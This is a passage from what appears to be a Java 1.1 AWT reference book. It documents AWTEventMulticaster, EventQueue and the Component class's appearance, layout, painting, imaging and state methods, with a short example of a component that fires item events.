The windowIconified() method is called whenever a user iconifies a Window.

public abstract void windowDeiconified(WindowEvent e) (New)

The windowDeiconified() method is called when the user deiconifies the Window.

public abstract void windowActivated(WindowEvent e) (New)

The windowActivated() method is called whenever a Window is brought to the front.

public abstract void windowDeactivated(WindowEvent e) (New)

The windowDeactivated() method is called when the Window is sent away from the front, either through iconification, closing, or another window becoming active.

AWTEventMulticaster

The AWTEventMulticaster class is used by AWT to manage the listener queues for the different events, and for sending events to all interested listeners when they occur (multicasting). Ordinarily, you have no need to work with this class or know about its existence. However, if you wish to create your own components that have their own set of listeners, you can use the class instead of implementing your own event-delivery system. See "Constructor methods" in this section for more on how to use the AWTEventMulticaster.

AWTEventMulticaster looks like a strange beast, and to some extent, it is. It contains methods to add and remove every possible kind of listener and implements all of the listener interfaces (11 as of Java 1.1). Because it implements all the listener interfaces, you can pass an event multicaster as an argument wherever you expect any kind of listener. However, unlike a class you might implement to listen for a specific kind of event, the multicaster includes machinery for maintaining chains of listeners. This explains the rather odd signatures for the add() and remove() methods. Let's look at one in particular:

public static ActionListener add(ActionListener first, ActionListener second)

This method takes two ActionListeners and returns another ActionListener. The returned listener is actually an event multicaster that contains the two listeners given as arguments in a linked list. However, because it implements the ActionListener interface, it is just as much an ActionListener as any class you might write; the fact that it contains two (or more) listeners inside it is irrelevant. Furthermore, both arguments can also be event multicasters, containing arbitrarily long chains of action listeners; in this case, the returned listener combines the two chains. Most often, you will use add to add a single listener to a chain that you're building, like this:

actionListenerChain=AWTEventMulticaster.add(actionListenerChain,
                                            newActionListener);

actionListenerChain is an ActionListener--but it is also a multicaster holding a chain of action listeners. To start a chain, use null for the first argument. You rarely need to call the AWTEventMulticaster constructor. add() is a static method, so you can use it with either argument set to null to start the chain.

Now that you can maintain chains of listeners, how do you use them? Simple; just deliver your event to the appropriate method in the chain. The multicaster takes care of sending the event to all the listeners it contains:

actionListenerChain.actionPerformed(new ActionEvent(...));
Variables

protected EventListener a; (New)
protected EventListener b; (New)

The a and b event listeners each consist of a chain of EventListeners.

Constructor methods

protected AWTEventMulticaster(EventListener a, EventListener b) (New)

The constructor is protected. It creates an AWTEventMulticaster instance from the two chains of listeners. An instance is automatically created for you when you add your second listener by calling an add() method.

Listener methods

These methods implement all of the listener interfaces. Rather than repeating all the descriptions, the methods are just listed.

public void actionPerformed(ActionEvent e) (New)
public void adjustmentValueChanged(AdjustmentEvent e) (New)
public void componentAdded(ContainerEvent e) (New)
public void componentHidden(ComponentEvent e) (New)
public void componentMoved(ComponentEvent e) (New)
public void componentRemoved(ContainerEvent e) (New)
public void componentResized(ComponentEvent e) (New)
public void componentShown(ComponentEvent e) (New)
public void focusGained(FocusEvent e) (New)
public void focusLost(FocusEvent e) (New)
public void itemStateChanged(ItemEvent e) (New)
public void keyPressed(KeyEvent e) (New)
public void keyReleased(KeyEvent e) (New)
public void keyTyped(KeyEvent e) (New)
public void mouseClicked(MouseEvent e) (New)
public void mouseDragged(MouseEvent e) (New)
public void mouseEntered(MouseEvent e) (New)
public void mouseExited(MouseEvent e) (New)
public void mouseMoved(MouseEvent e) (New)
public void mousePressed(MouseEvent e) (New)
public void mouseReleased(MouseEvent e) (New)
public void textValueChanged(TextEvent e) (New)
public void windowActivated(WindowEvent e) (New)
public void windowClosed(WindowEvent e) (New)
public void windowClosing(WindowEvent e) (New)
public void windowDeactivated(WindowEvent e) (New)
public void windowDeiconified(WindowEvent e) (New)
public void windowIconified(WindowEvent e) (New)
public void windowOpened(WindowEvent e) (New)

These methods broadcast the event given as an argument to all the listeners.

Support methods

There is an add() method for every listener interface. Again, I've listed them with a single description.

public static ActionListener add(ActionListener first, ActionListener second) (New)
public static AdjustmentListener add(AdjustmentListener first, AdjustmentListener second) (New)
public static ComponentListener add(ComponentListener first, ComponentListener second) (New)
public static ContainerListener add(ContainerListener first, ContainerListener second) (New)
public static FocusListener add(FocusListener first, FocusListener second) (New)
public static ItemListener add(ItemListener first, ItemListener second) (New)
public static KeyListener add(KeyListener first, KeyListener second)
public static MouseListener add(MouseListener first, MouseListener second) (New)
public static MouseMotionListener add(MouseMotionListener first, MouseMotionListener second) (New)
public static TextListener add(TextListener first, TextListener second) (New)
public static WindowListener add(WindowListener first, WindowListener second) (New)

These methods combine the listener sets together; they are called by the "add listener" methods of the various components. Usually, the first parameter is the initial listener chain, and the second parameter is the listener to add. However, nothing forces that. The combined set of listeners is returned.

protected static EventListener addInternal(EventListener first, EventListener second) (New)

The addInternal() method is a support routine for the various add() methods. The combined set of listeners is returned.

Again, there are remove() methods for every listener type, and I've economized on the descriptions.

public static ComponentListener remove(ComponentListener list, ComponentListener oldListener) (New)
public static ContainerListener remove(ContainerListener list, ContainerListener oldListener) (New)
public static FocusListener remove(FocusListener list, FocusListener oldListener) (New)
public static KeyListener remove(KeyListener list, KeyListener oldListener) (New)
public static MouseMotionListener remove(MouseMotionListener list, MouseMotionListener oldListener) (New)
public static MouseListener remove(MouseListener list, MouseListener oldListener) (New)
public static WindowListener remove(WindowListener list, WindowListener oldListener) (New)
public static ActionListener remove(ActionListener list, ActionListener oldListener) (New)
public static ItemListener remove(ItemListener list, ItemListener oldListener) (New)
public static AdjustmentListener remove(AdjustmentListener list, AdjustmentListener oldListener) (New)
public static TextListener remove(TextListener list, TextListener oldListener) (New)

These methods remove oldListener from the list of listeners, list. They are called by the "remove listener" methods of the different components. If oldListener is not found in the list, nothing happens. All these methods return the new list of listeners.

protected static EventListener removeInternal(EventListener list, EventListener oldListener) (New)

The removeInternal() method is a support routine for the various remove() methods. It removes oldListener from the list of listeners, list. Nothing happens if oldListener is not found in the list. The new set of listeners is returned.

protected EventListener remove(EventListener oldListener) (New)

This remove() method removes oldListener from the AWTEventMulticaster. It is a support routine for removeInternal().

protected void saveInternal(ObjectOutputStream s, String k) throws IOException (New)

The saveInternal() method is a support method for serialization.

Using an event multicaster

Example 4.4 shows how to use AWTEventMulticaster to create a component that generates ItemEvents. The AWTEventMulticaster is used in the addItemListener() and removeItemListener() methods. When it comes time to generate the event in processEvent(), the itemStateChanged() method is called to notify anyone who might be interested. The item event is generated when a mouse button is clicked; we just count the number of clicks to determine whether an item was selected or deselected. Since we do not have any mouse listeners, we need to enable mouse events with enableEvents() in the constructor, as shown in the following example.

Example 4.4: Using an AWTEventMulticaster

// Java 1.1 only
import java.awt.*;
import java.awt.event.*;
class ItemEventComponent extends Component implements ItemSelectable {
    boolean selected;
    int i = 0;
    ItemListener itemListener = null;
    ItemEventComponent () {
        enableEvents (AWTEvent.MOUSE_EVENT_MASK);
    }
    public Object[] getSelectedObjects() {
        Object o[] = new Object[1];
        o[0] = new Integer (i);
        return o;
    }
    public void addItemListener (ItemListener l) {
        itemListener = AWTEventMulticaster.add (itemListener, l);
    }
    public void removeItemListener (ItemListener l) {
        itemListener = AWTEventMulticaster.remove (itemListener, l);
    }
    public void processEvent (AWTEvent e) {
        if (e.getID() == MouseEvent.MOUSE_PRESSED) {
            if (itemListener != null) {
                selected = !selected;
                i++;
                itemListener.itemStateChanged (
                    new ItemEvent (this, ItemEvent.ITEM_STATE_CHANGED,
                        getSelectedObjects(),
                        (selected?ItemEvent.SELECTED:ItemEvent.DESELECTED)));
            }
        }
    }
}
public class ItemFrame extends Frame implements ItemListener {
    ItemFrame () {
        super ("Listening In");
        ItemEventComponent c = new ItemEventComponent ();
        add (c, "Center");
        c.addItemListener (this);
        c.setBackground (SystemColor.control);
        setSize (200, 200);
    }
    public void itemStateChanged (ItemEvent e) {
        Object[] o = e.getItemSelectable().getSelectedObjects();
        Integer i = (Integer)o[0];
        System.out.println (i);
    }
    public static void main (String args[]) {
        ItemFrame f = new ItemFrame();
        f.show();
    }
}

The ItemFrame displays just an ItemEventComponent and listens for its item events.

The EventQueue class lets you manage Java 1.1 events directly. You don't usually need to manage events yourself; the system takes care of event delivery behind the scene. However, should you need to, you can acquire the system's event queue by calling Toolkit.getSystemEventQueue(), peek into the event queue by calling peekEvent(), or post new events by calling postEvent(). All of these operations may be restricted by the SecurityManager. You should not remove the events from the queue (i.e., don't call getNextEvent()) unless you really mean to.Constructors

public EventQueue() (New)

This constructor creates an EventQueue for those rare times when you need to manage your own queue of events. More frequently, you just work with the system event queue acquired through the Toolkit.

Methods

public synchronized AWTEvent peekEvent() (New)

The peekEvent() method looks into the event queue and returns the first event, without removing that event. If you modify the event, your modifications are reflected in the event still on the queue. The returned object is an instance of AWTEvent. If the queue is empty, peekEvent() returns null.

public synchronized AWTEvent peekEvent(int id) (New)

This peekEvent() method looks into the event queue for the first event of the specified type. id is one of the integer constants from an AWTEvent subclass or an integer constant of your own. If there are no events of the appropriate type on the queue, peekEvent() returns null.

Note that a few of the AWTEvent classes have both event types and subtypes; peekEvent() checks event types only and ignores the subtype. For example, to find an ItemEvent, you would call peekEvent(ITEM_STATE_CHANGED). However, a call to peekEvent(SELECTED) would return null, since SELECTED identifies an ItemEvent subtype.

public synchronized void postEvent(AWTEvent theEvent) (New)

This version of postEvent() puts a new style ( Java1.1) event on the event queue.

public synchronized AWTEvent getNextEvent() throws InterruptedException (New)

The getNextEvent() method removes an event from the queue. If the queue is empty, the call waits. The object returned is the item taken from the queue; it is either an Event or an AWTEvent. If the method call is interrupted, the method getNextEvent() throws an InterruptedException.

Previous | Home | Next
The Event Class | Book Index | Components
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 5] Components

Previous Chapter 5 Next

5. Components

Contents:
Component
Labels
Buttons
A Simple Calculator
Canvas
Creating Your Own Component
Cursor

This chapter introduces the generic graphical widget used within the AWT package, Component, along with a trio of specific components: Label, Button, and Canvas. It also covers the Cursor class, new to Java 1.1. (Cursor support was previously part of the Frame class.) Although many objects within AWT don't subclass Component, and though you will never create an instance of Component, anything that provides screen-based user interaction and relies on the system for its layout will be a child of Component. As a subclass of Component, each child inherits a common set of methods and an API for dealing with the different events (i.e., mouse click, keyboard input) that occur within your Java programs.

After discussing the methods in Component classes, this chapter goes into detail about two specific components, Label and Button. A Label is a widget that contains descriptive text, usually next to an input field. A Button is a basic mechanism that lets the user signal the desire to perform an action. You will learn about the Canvas object and how to use a Canvas to create your own component. Finally, we cover the Cursor class, which lets you change the cursor over a Component.

Before going into the mechanics of the Component class, it's necessary to say a little about the relationship between components and containers. A Container is also a component with the ability to contain other components. There are several different kinds of containers; they are discussed in Chapter 6, Containers. To display a component, you have to put it in a container by calling the container's add() method. We often call the container that holds a component the component's parent ; likewise, we call the components a container holds its children. Certain operations are legal only if a component has a parent--that is, the component is in a container. Of course, since containers are components, containers can contain other containers, ad infinitum.

NOTE:

If you think some component is missing a method that should obviously be there, check the methods it inherits. For example, the Label class appears to lack a setFont() method. Obviously, labels ought to be able to change their fonts. The setFont() method really is there; it is inherited from the Component class, and therefore, not documented as part of the Label class. Even if you're familiar with object-oriented techniques, the need to work up a class hierarchy to find all of the class's methods can lead to confusion and frustration. While all Java objects inherit methods from other classes, the potential for confusion is worst with components, which inherit over a hundred methods from Component and may only have a few methods of their own.

5.1 Component

Every GUI-based program consists of a screen with a set of objects. With Java, these objects are called components. Some of the more frequently used components are buttons, text fields, and containers.

A container is a special component that allows you to group different components together within it. You will learn more about containers in the next chapter, but they are in fact just another kind of component. Also, some of the parameters and return types for the methods of Component have not been explained yet and have their own sections in future chapters.

Component Methods

Constants

Prior to Java 1.1, you could not subclass Component or Container. With the introduction of the LightweightPeer, you can now subclass either Component or Container. However, since you no longer have a native peer, you must rely on your container to provide a display area and other services that are normally provided by a full-fledged peer. Because you cannot rely on your peer to determine your alignment, the Component class now has five constants to indicate six possible alignment settings (one constant is used twice). The alignment constants designate where to position a lightweight component; their values range from 0.0 to 1.0. The lower the number, the closer the component will be placed to the origin (top left corner) of the space allotted to it.[1]

[1] As of Beta 3, these constants appear to be seldom used. The getAlignmentX() and getAlignmentY() methods return these values, but there are no setAlignment methods.

public static final float BOTTOM_ALIGNMENT (New)

The BOTTOM_ALIGNMENT constant indicates that the component should align itself to the bottom of its available space. It is a return value from the method getAlignmentY().

public static final float CENTER_ALIGNMENT (New)

The CENTER_ALIGNMENT constant indicates that the component should align itself to the middle of its available space. It is a return value from either the getAlignmentX() or getAlignmentY() method. This constant represents both the horizontal and vertical center.

public static final float LEFT_ALIGNMENT (New)

The LEFT_ALIGNMENT constant indicates that the component should align itself to the left side of its available space. It is a return value from getAlignmentX().

public static final float RIGHT_ALIGNMENT (New)

The RIGHT_ALIGNMENT constant indicates that the component should align itself to the right side of its available space. It is a return value from the method getAlignmentX().

public static final float TOP_ALIGNMENT (New)

The TOP_ALIGNMENT constant indicates that the component should align itself to the top of its available space. It is a return value from getAlignmentY().

Variables

protected Locale locale (New)

The protected locale variable can be accessed by calling the getLocale() method.

Constructor

Prior to Java 1.1, there was no public or protected constructor for Component. Only package members were able to subclass Component directly. With the introduction of lightweight peers, components can exist without a native peer, so the constructor was made protected, allowing you to create your own Component subclasses.

protected Component() (New)

The constructor for Component creates a new component without a native peer. Since you no longer have a native peer, you must rely on your container to provide a display area. This allows you to create components that require fewer system resources than components that subclass Canvas. The example in the "Using an event multicaster" section of the previous chapter is of a lightweight component. Use the SystemColor class to help you colorize the new component appropriately or make it transparent.

Appearance

public Toolkit getToolkit ()

The getToolkit() method returns the current Toolkit of the Component. This returns the parent's Toolkit (from a getParent() call) when the Component has not been added to the screen yet or is lightweight. If there is no parent, getToolkit() returns the default Toolkit. Through the Toolkit, you have access to the details of the current platform (like screen resolution, screen size, and available fonts), which you can use to adjust screen real estate requirements or check on the availability of a font.

public Color getForeground ()

The getForeground() method returns the foreground color of the component. If no foreground color is set for the component, you get its parent's foreground color. If none of the component's parents have a foreground color set, null is returned.

public void setForeground (Color c)

The setForeground() method changes the current foreground color of the area of the screen occupied by the component to c. After changing the color, it is necessary for the screen to refresh before the change has any effect. To refresh the screen, call repaint().

public Color getBackground ()

The getBackground() method returns the background color of the component. If no background color is set for the component, its parent's background color is retrieved. If none of the component's parents have a background color set, null is returned.

public void setBackground (Color c)

The setBackground() method changes the current background color of the area of the screen occupied by the component to c. After changing the color, it is necessary for the screen to refresh before the change has any affect. To refresh the screen, call repaint().

public Font getFont ()

The getFont() method returns the font of the component. If no font is set for the component, its parent's font is retrieved. If none of the component's parents have a font set, null is returned.

public synchronized void setFont (Font f)

The setFont() method changes the component's font to f. If the font family (such as TimesRoman) provided within f is not available on the current platform, the system uses a default font family, along with the supplied size and style (plain, bold, italic). Depending upon the platform, it may be necessary to refresh the component/screen before seeing any changes.

Changing the font of a component could have an affect on the layout of the component.

public synchronized ColorModel getColorModel ()

The getColorModel() method returns the ColorModel used to display the current component. If the component is not displayed, the ColorModel from the component's Toolkit is used. The normal ColorModel for a Java program is 8 bits each for red, green, and blue.

public Graphics getGraphics ()

The getGraphics() method gets the component's graphics context. Most noncontainer components do not manage them correctly and therefore throw an InternalError exception when you call this method. The Canvas component is one that does since you can draw on that directly. If the component is not visible, null is returned.

public FontMetrics getFontMetrics (Font f)

The getFontMetrics() method retrieves the component's view of the FontMetrics for the requested font f. Through the FontMetrics, you have access to the platform-specific sizing for the appearance of a character or string.

public Locale getLocale () (New)

The getLocale() method retrieves the current Locale of the component, if it has one. Using a Locale allows you to write programs that can adapt themselves to different languages and different regional variants. If no Locale has been set, getLocale() returns the parent's Locale.[2] If the component has no locale of its own and no parent (i.e., it isn't in a container), getLocale() throws the run-time exception IllegalComponentStateException.

[2] For more on the Locale class, see the Java Fundamental Classes Reference from O'Reilly & Associates.

public void setLocale (Locale l) (New)

The setLocale() method changes the current Locale of the component to l. In order for this change to have any effect, you must localize your components so that they have different labels or list values for different environments. Localization is part of the broad topic of internationalization and is beyond the scope of this book.

public Cursor getCursor () (New)

The getCursor() method retrieves the component's current Cursor. If one hasn't been set, the default is Cursor.DEFAULT_CURSOR. The Cursor class is described fully in Cursor. Prior to Java 1.1, the ability to associate cursors with components was restricted to frames.

public synchronized void setCursor (Cursor c) (New)

The setCursor() method changes the current Cursor of the component to c. The change takes effect as soon as the cursor is moved. Lightweight components cannot change their cursors.

Positioning/Sizing

Component provides a handful of methods for positioning and sizing objects. Most of these are used behind the scenes by the system. You will also need them if you create your own LayoutManager or need to move or size an object. All of these depend on support for the functionality from the true component's peer.

public Point getLocation () (New)
public Point location () (Deprecated)

The getLocation() method returns the current position of the Component in its parent's coordinate space. The Point is the top left corner of the bounding box around the Component.

location()is the Java 1.0 name for this method.

public Point getLocationOnScreen () (New)

The getLocationOnScreen() method returns the current position of the Component in the screen's coordinate space. The Point is the top left corner of the bounding box around the Component. If the component is not showing, the getLocationOnScreen() method throws the IllegalComponentStateException run-time exception.

public void setLocation (int x, int y) (New)
public void move (int x, int y) (Deprecated)

The setLocation() method moves the Component to the new position (x, y). The coordinates provided are in the parent container's coordinate space. This method calls setBounds() to move the component. The LayoutManager of the container may make it impossible to change a component's location.

Calling this method with a new position for the component generates a ComponentEvent with the ID COMPONENT_MOVED.

move()is the Java 1.0 name for this method.

public void setLocation (Point p) (New)

This setLocation() method moves the component to the position specified by the given Point. It is the same as calling setLocation(p.x, p.y).

Calling this method with a new position for the component generates a ComponentEvent with the ID COMPONENT_MOVED.

public Dimension getSize () (New)
public Dimension size () (Deprecated)

The getSize() method returns the width and height of the component as a Dimension object.

size()is the Java 1.0 name for this method.

public void setSize (int width, int height) (New)
public void resize (int width, int height) (Deprecated)

The setSize() method changes the component's width and height to the width and height provided. width and height are specified in pixels. The component is resized by a call to setBounds(). The LayoutManager of the Container that contains the component may make it impossible to change a component's size.

Calling this method with a new size for the component generates a ComponentEvent with the ID COMPONENT_RESIZED.

resize()is the Java 1.0 name for this method.

public void setSize (Dimension d) (New)
public void resize (Dimension d) (Deprecated)

This setSize() method changes the component's width and height to the Dimension d provided. The Dimension object includes the width and height attributes in one object. The component is resized by a call to the setBounds() method. The LayoutManager of the Container that contains the component may make it impossible to change a component's size.

Calling this method with a new size for the component generates a ComponentEvent with the ID COMPONENT_RESIZED.

resize()is the Java 1.0 name for this method.

public Rectangle getBounds () (New)
public Rectangle bounds () (Deprecated)

The getBounds() method returns the bounding rectangle of the object. The fields of the Rectangle that you get back contain the component's position and dimensions.

bounds()is the Java 1.0 name for this method.

public void setBounds (int x, int y, int width, int height) (New)
public void reshape (int x, int y, int width, int height) (Deprecated)

The setBounds() method moves and resizes the component to the bounding rectangle with coordinates of (x, y) (top left corner) and width x height. If the size and shape have not changed, no reshaping is done. If the component is resized, it is invalidated, along with its parent container. The LayoutManager of the Container that contains the component may make it impossible to change the component's size or position. Calling setBounds() invalidates the container, which results in a call to the LayoutManager to rearrange the container's contents. In turn, the LayoutManager calls setBounds() to give the component its new size and position, which will probably be the same size and position it had originally. In short, if a layout manager is in effect, it will probably undo your attempts to change the component's size and position.

Calling this method with a new size for the component generates a ComponentEvent with the ID COMPONENT_RESIZED. Calling this method with a new position generates a ComponentEvent with the ID COMPONENT_MOVED.

reshape()is the Java 1.0 name for this method.

public void setBounds (Rectangle r) (New)

This setBounds() method calls the previous method with parameters of r.x, r.y, r.width, and r.height.

Calling this method with a new size for the component generates a ComponentEvent with the ID COMPONENT_RESIZED. Calling this method with a new position generates a ComponentEvent with the ID COMPONENT_MOVED.

public Dimension getPreferredSize () (New)
public Dimension preferredSize () (Deprecated)

The getPreferredSize() method returns the Dimension (width and height) for the preferred size of the component. Each component's peer knows its preferred size. Lightweight objects return getSize().

preferredSize()is the Java 1.0 name for this method.

public Dimension getMinimumSize () (New)
public Dimension minimumSize () (Deprecated)

The getMinimumSize() method returns the Dimension (width and height) for the minimum size of the component. Each component's peer knows its minimum size. Lightweight objects return getSize(). It is possible that the methods getMinimumSize() and getPreferredSize() will return the same dimensions.

minimumSize()is the Java 1.0 name for this method.

public Dimension getMaximumSize () (New)

The getMaximumSize() method returns the Dimension (width and height) for the maximum size of the component. This may be used by a layout manager to prevent a component from growing beyond a predetermined size. None of the java.awt layout managers call this method. By default, the value returned is Short.MAX_VALUE for both dimensions.

public float getAlignmentX () (New)

The getAlignmentX() method returns the alignment of the component along the x axis. The alignment could be used by a layout manager to position this component relative to others. The return value is between 0.0 and 1.0. Values nearer 0 indicate that the component should be placed closer to the left edge of the area available. Values nearer 1 indicate that the component should be placed closer to the right. The value 0.5 means the component should be centered. The default setting is Component.CENTER_ALIGNMENT.

public float getAlignmentY () (New)

The getAlignmentY() method returns the alignment of the component along the y axis. The alignment could be used by a layout manager to position this component relative to others. The return value is between 0.0 and 1.0. Values nearer 0 indicate that the component should be placed closer to the top of the area available. Values nearer 1 indicate that the component should be placed closer to the bottom. The value 0.5 means the component should be centered. The default setting is Component.CENTER_ALIGNMENT.

public void doLayout () (New)
public void layout () (Deprecated)

The doLayout() method of Component does absolutely nothing. It is called when the Component is validated (through the validate() method). The Container class overrides this method.

layout()is the Java 1.0 name for this method.

public boolean contains (int x, int y) (New)
public boolean inside (int x, int y) (Deprecated)

The contains() method checks if the x and y coordinates are within the bounding box of the component. If the Component is not rectangular, the method acts as if there is a rectangle around the Component. contains() returns true if the x and y coordinates are within the component, false otherwise.

inside()is the Java 1.0 name for this method.

public boolean contains (Point p) (New)

This contains() method calls the previous method with parameters of p.x and p.y.

public Component getComponentAt (int x, int y) (New)
public Component locate (int x, int y) (Deprecated)

The getComponentAt() method uses contains() to see if the x and y coordinates are within the component. If they are, this method returns the Component. If they aren't, it returns null. getComponentAt() is overridden by Container to provide enhanced functionality.

locate()is the Java 1.0 name for this method.

public Component getComponentAt (Point p) (New)

This getComponentAt() method calls the previous method with parameters of p.x and p.y.

Painting

The only methods in this section that you call directly are the versions of repaint(). The paint() and update() methods are called by the system when the display area requires refreshing, such as when a user resizes a window. When your program changes the display you should call repaint() to trigger a call to update() and paint(). Otherwise, the system is responsible for updating the display.

public void paint (Graphics g)

The paint() method is offered so the system can display whatever you want in a Component. In the base Component class, this method does absolutely nothing. Ordinarily, it would be overridden in an applet to do something other than the default, which is display a box in the current background color. g is the graphics context of the component being drawn on.

public void update (Graphics g)

The update() method is automatically called when you ask to repaint the Component. If the component is not lightweight, the default implementation of update() clears graphics context g by drawing a filled rectangle in the background color, resetting the color to the current foreground color, and calling paint(). If you do not override update() when you do animation, you will see some flickering because Component clears the screen. Animation is discussed in Chapter 2, Simple Graphics.

public void paintAll (Graphics g)

The paintAll() method validates the component and paints its peer if it is visible. g represents the graphics context of the component. This method is called when the paintComponents() method of Container is called.

public void repaint ()

The repaint() method requests
the scheduler to redraw the component as soon as possible. This will result
in update() getting called
soon thereafter. There is not a one-to-one correlation between repaint()
and update() calls. It is possible
that multiple repaint() calls
can result in a single update().

public void repaint (long tm)

This version of repaint() allows for a delay of tm milliseconds. It says, please update this component within tm milliseconds, which may happen immediately.

public void repaint (int x, int y, int width, int height)

This version of repaint() allows you to select the region of the Component you desire to be updated. (x, y) are the coordinates of the upper left corner of the bounding box of the component with dimensions of widthxheight. This is similar to creating a clipping area and results in a quicker repaint.

public void repaint (long tm, int x, int y, int width, int height)

This final version of repaint() is what the other three repaint() methods call. tm is the maximum delay in milliseconds before update should be called. (x, y) are the coordinates of the upper left corner of the clipping area of the component with dimensions of width x height.

public void print (Graphics g)

The default implementation of the print() method calls paint().

In Java 1.0, there was no way to print; in Java 1.1, if the graphics parameter implements PrintGraphics, anything drawn on g will be printed. Printing is covered in Chapter 17, Printing.

public void printAll (Graphics g)

The printAll() method validates the component and paints its peer if it is visible. g represents the graphics context of the component. This method is called when the printComponents() method of Container is called or when you call it with a PrintGraphics parameter.

The default implementation of printAll() is identical to paintAll(). As with paintAll(), g represents the graphics context of the component; if g implements PrintGraphics, it can be printed.

Imaging

Background information about using images is discussed in Chapter 2, Simple Graphics and Chapter 12, Image Processing. The imageUpdate() method of Component is the sole method of the ImageObserver interface. Since images are loaded in a separate thread, this method is called whenever additional information about the image becomes available.

public boolean imageUpdate (Image image, int infoflags, int x, int y, int width, int height)

imageUpdate() is the java.awt.image.ImageObserver method implemented by Component. It is an asynchronous update interface for receiving notifications about Image information as image is loaded and is automatically called when additional information becomes available. This method is necessary because image loading is done in a separate thread from the getImage() call. Ordinarily, x and y would be the coordinates of the upper left corner of the image loaded so far, usually (0, 0). However, the method imageUpdate() of the component ignores these parameters. width and height are the image's dimensions, so far, in the loading process.

The infoflags parameter is a bit-mask of information available to you about image. Please see the text about ImageObserver in Chapter 12, Image Processing for a complete description of the different flags that can be set. When overriding this method, you can wait for some condition to be true by checking a flag in your program and then taking the desired action. To check for a particular flag, perform an AND (&) of infoflags and the constant. For example, to check if the FRAMEBITS flag is set:

if ((infoflags & ImageObserver.FRAMEBITS) == ImageObserver.FRAMEBITS)
    System.out.println ("The Flag is set");

The return value from a call to imageUpdate() is true if image has changed and false otherwise.

Two system properties let the user control the behavior of updates:

  • awt.image.incrementaldraw allows the user to control whether or not partial images are displayed. Initially, the value of incrementaldraw is unset and defaults to true, which means that partial images are drawn. If incrementaldraw is set to false, the image will be drawn only when it is complete or when the screen is resized or refreshed.

  • awt.image.redrawrate allows the user to change the delay between successive repaints. If not set, the default redraw rate is 100 milliseconds.

public Image createImage (int width, int height)

The createImage() method creates an empty Image of size width x height. The returned Image is an in-memory image that can be drawn on for double buffering to manipulate an image in the background. If an image of size width x height cannot be created, the call returns null. In order for createImage() to succeed, the peer of the Component must exist; if the component is lightweight, the peer of the component's container must exist.

public Image createImage (ImageProducer producer)

This createImage() method allows you to take an existing image and modify it in some way to produce a new Image. This can be done through ImageFilter and FilteredImageSource or a MemoryImageSource, which accepts an array of pixel information. You can learn more about these classes and this method in Chapter 12, Image Processing.

public boolean prepareImage (Image image, ImageObserver observer)

The prepareImage() method forces image to start loading, asynchronously, in another thread. observer is the Component that image will be rendered on and is notified (via imageUpdate()) as image is being loaded. In the case of an Applet, this would be passed as the ImageObserver. If image has already been fully loaded, prepareImage() returns true. Otherwise, false is returned. Since image is loaded asynchronously, prepareImage() returns immediately. Ordinarily, prepareImage() would be called by the system when image is first needed to be displayed (in drawImage() within paint()). As more information about the image gets loaded, imageUpdate() is called periodically.

If you do not want to go through the trouble of creating a MediaTracker instance to start the loading of the image objects, you can call prepareImage() to trigger the start of image loading prior to a call to drawImage().

If image has already started loading when this is called or if this is an in-memory image, there is no effect.

public boolean prepareImage (Image image, int width, int height, ImageObserver observer)

This version of prepareImage() is identical to the previous one, with the addition of a scaling factor of widthxheight. As with other width and height parameters, the units for these parameters are pixels. Also, if width and height are -1, no scaling factor is assumed. This method is called by one of the internal MediaTracker methods.

public int checkImage (Image image, ImageObserver observer)

The checkImage() method returns the status of the construction of a screen representation of image, being watched by observer. If image has not started loading yet, this will not start it. The return value is the ImageObserver flags ORed together for the data that is now available. The available ImageObserver flags are: WIDTH, HEIGHT, PROPERTIES, SOMEBITS, FRAMEBITS, ALLBITS, ERROR, and ABORT. See Chapter 12, Image Processing for a complete description of ImageObserver.

public int checkImage (Image image, int width, int height, ImageObserver observer)

This version of checkImage() is identical to the previous one, with the addition of a scaling factor of widthxheight. If you are using the drawImage() version with width and height parameters, you should use this version of checkImage() with the same width and height.

Peers

public ComponentPeer getPeer () (Deprecated)

The getPeer() method returns a reference to the component's peer as a ComponentPeer object. For example, if you issue this method from a Button object, getPeer() returns an instance of the ComponentPeer subclass ButtonPeer.

This method is flagged as deprecated in comments but not with @deprecated. There is no replacement method for Java 1.1.

public void addNotify ()

The addNotify() method is overridden by each individual component type. When addNotify() is called, the peer of the component gets created, and the Component is invalidated. The addNotify() method is called by the system when it needs to create the peer. The peer needs to be created when a Component is first shown, or when a new Component is added to a Container and the Container is already being shown (in which case it already has a peer, but a new one must be created to take account of the new Component). If you override this method for a specific Component, call super.addNotify() first, then do what you need for the Component. You will then have information available about the newly created peer.

Certain tasks cannot succeed unless the peer has been created. An incomplete list includes finding the size of a component, laying out a container (because it needs the component's size), and creating an Image object. Peers are discussed in more depth in Chapter 15, Toolkit and Peers.

public synchronized void removeNotify ()

The removeNotify() method destroys the peer of the component and removes it from the screen. The state information about the Component is retained by the specific subtype. The removeNotify() method is called by the system when it determines the peer is no longer needed. Such times would be when the Component is removed from a Container, when its container changes, or when the Component is disposed. If you override this method for a specific Component, issue the particular commands for you need for this Component, then call super.removeNotify() last.

State Procedures

These methods determine whether the component is ready to be displayed and can be seen by the user. The first requirement is that it be valid--that is, whether the system knows its size, and (in the case of a container) whether the layout manager is aware of all its parts and has placed them as requested. A component becomes invalid if the size has changed since it was last displayed. If the component is a container, it becomes invalid when one of the components contained within it becomes invalid.

Next, the component must be visible--a possibly confusing term, because components can be considered "visible" without being seen by the user. Frames (because they have their own top-level windows) are not visible until you request that they be shown, but other components are visible as soon as you create them.

Finally, to be seen, a component must be showing. You show a component by adding it to its container. For something to be showing, it must be visible and be in a container that is visible and showing.

A subsidiary aspect of state is the enabled quality, which determines whether a component can accept input.

public boolean isValid ()

The isValid() method tells you whether or not the component needs to be laid out.

public void validate ()

The validate() method sets the component's valid state to true. Ordinarily, this is done for you when the Component is laid out by its Container. Since objects are invalid when they are first drawn on the screen, you should call validate() to tell the system you are finished adding objects so that it can validate the screen and components. One reason you can override validate() is to find out when the container that the component exists in has been resized. The only requirement when overriding is that the original validate() be called. With Java 1.1, instead of overriding, you can listen for resize events.

public void invalidate ()

The invalidate() method sets the component's valid state to false and propagates the invalidation to its parent. Ordinarily, this is done for you, or should be, whenever anything that affects the layout is changed.

public boolean isVisible ()

The isVisible() methods tells you if the component is currently visible. Most components are initially visible, except for top-level objects like frames. Any component that is visible will be shown on the screen when the screen is painted.

public boolean isShowing ()

The isShowing() method tells you if the component is currently shown on the screen. It is possible for isVisible() to return true and isShowing() to return false if the screen has not been painted yet.

